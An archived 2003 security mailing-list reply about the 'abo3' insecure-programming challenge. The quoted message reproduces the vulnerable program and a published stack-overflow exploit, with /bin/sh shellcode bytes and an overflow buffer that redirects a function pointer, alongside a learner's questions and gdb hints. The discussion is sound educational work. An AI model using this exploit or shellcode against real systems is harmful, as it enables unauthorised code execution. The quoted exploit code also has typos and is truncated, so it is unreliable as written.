Re: Abo3 (can someone help me?)

From: sin (sin_at_insolence.net)
Date: 05/27/03

  • Next message: aT4r InsaN3: "mirc32 6.0x crash when resolving dns."
    Date: Tue, 27 May 2003 09:57:11 -0500 (CDT)
    To: Discussion Lists <discussions@lagraphico.com>
    
    

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    what exists past the array of 256?
    and how is it used later?

    (gdb) p &fn
    (gdb) info locals

    j

    "Once set in motion, the process of questioning could come to but one end,
    the erosion of conviction and certitude and collapse into despair" (The
    Specter of the Absurd, 1988).

    On Sat, 24 May 2003, Discussion Lists wrote:

    > Date: Sat, 24 May 2003 21:11:20 -0700
    > From: Discussion Lists <discussions@lagraphico.com>
    > To: vuln-dev@securityfocus.com
    > Subject: Abo3 (can someone help me?)
    >
    > Hi all,
    > This list has become far more interesting with the challenges. Thanks
    > to all for the participation. Recently, a user posted a particular
    > site:
    >
    >
    > http://community.core-sdi.com/~gera/InsecureProgramming/abo3.html
    >
    > Which has the following code:
    >
    >
    > /* abo3.c *
    > * specially crafted to feed your brain by gera@core-sdi.com */
    >
    > /* This'll prepare you for The Next Step */
    >
    > int main(int argv,char **argc) {
    > extern system,puts;
    > void (*fn)(char*)=(void(*)(char*))&system;
    > char buf[256];
    >
    > fn=(void(*)(char*))&puts;
    > strcpy(buf,argc[1]);
    > fn(argc[2]);
    > exit(1);
    > }
    >
    > The issue here is that there is an exit(1) at the end of the code. So
    > even if you were to overwrite the return address, it would not matter
    > because there is no return (if I understand correctly).
    >
    > The solution, according to this place:
    >
    > http://www.core-sec.com/examples/core_vulnerabilities.pdf
    >
    > is that we have to stick our shellcode in an environment variable, then
    > overwrite the address of that variable into the address of the fn()
    > function. So they lay out the following code to do it (questions
    > in-line):
    >
    > /*
    > ** exp3.c
    > ** Coded by CoreSecurity - info@core-sec.com
    > **/
    >
    > #include <string.h>
    > #include <uninstd.h>
    >
    > #define BUFSIZE 261
    >
    > /* Why 261? THe vulnerable program allocates 256 I thought. Where is
    > that other 5 going to/for? */
    >
    > /* 24 bytes shellcode */
    > char shellcode[]=
    > /* 1 P h \ \ s h h \ b i */
    > "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
    > /* n P 2 */
    > "\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
    > /* so it is pushing /bin/sh backwards on the stack. Aleph1 talks about
    > how to create this code so I won't ask about it*/
    > int main(void) {
    > char *env[3] = {shellcode, NULL};
    > char evil_buffer[BUFFSIZE];
    > char *p;
    >
    > /*Calculating address of shellcode */
    > int ret = 0xbffffffa - strlen(shellcode) -
    > strlen("/home/user/gera/abo3");
    > /* That is what I don't get. First, what is the 0xbffffffa address? Is
    > that where supposedly the
    > ending address of the code when everything is pushed onto the stack? I
    > believe strlen calculates the
    > length of a string? If that is the case, why do they need to calculate
    > shellcode, and the path. I
    > also assume the path is case specific. In other words, if the binary
    > has a different path on my system,
    > I would use that instead. */
    >
    > /* constructing the buffer */
    > p = evil_buffer;
    > memset(p, 'B', 256); // Some junk
    > p += 256;
    >
    > *((void **)p) = (void *) (ret);
    > p += 4;
    > *p = '\0';
    >
    > /* Two arguments are passed to the vulnerable program */
    > execle("/home/user/gera/abo3", "abo3", evil_buffer, "A",
    > NULL,env);
    > __________________________________________
    > I don't completely understand much of that last part either, but I have
    > the K&R book, so I will drag it out and see what I can find out.
    >
    >
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.2.1 (FreeBSD)

    iD8DBQE+03zKoEcehqzkkpgRAs8yAKD1FvrCzqnOdEbLw3oqSTU5divusACfaRzK
    oV5lHLjO/0NuTUycmUULkOA=
    =7h62
    -----END PGP SIGNATURE-----


  • Next message: aT4r InsaN3: "mirc32 6.0x crash when resolving dns."

    Relevant Pages

    • Doubts in shellcode !?
      ... I'm reading a tutorial about shellcode, ... That will execute the /bin/sh. ... And we must, compile it, and open gdb and get the hex value with ... x/xb main+3 ...
      (comp.security.unix)
    • Re: Problem exploiting a CGI overflow
      ... Second, I wrote a shellcode without 0x0b,0x0c, but it didnt work because ... int main(int argc, char *argv) { ... $ ./post.cgi < buffer ... gdb: Symbol `emacs_ctlx_keymap' has different size in shared object, ...
      (Vuln-Dev)
    • Re: shellcode -> asm?
      ... shell code is in a the char array "shellcode". ... GNU gdb 2002-08-18-cvs ... For most of the attacks I have, ...
      (Vuln-Dev)
    • Re: chunk size
      ... informations are splitted into two lists. ... My question is now, regarding on the usage of gdb: How can I find out, of what size a chunk is? ... Function "malloc" not defined. ... Breakpoint 1 pending. ...
      (freebsd-questions)
    • Re: Problem exploiting a CGI overflow
      ... looking at the gdb output- it looks like you are on the right ... There is a problem with the shellcode, ... >> char txt; ... >> Violación de segmento (core dumped) ...
      (Vuln-Dev)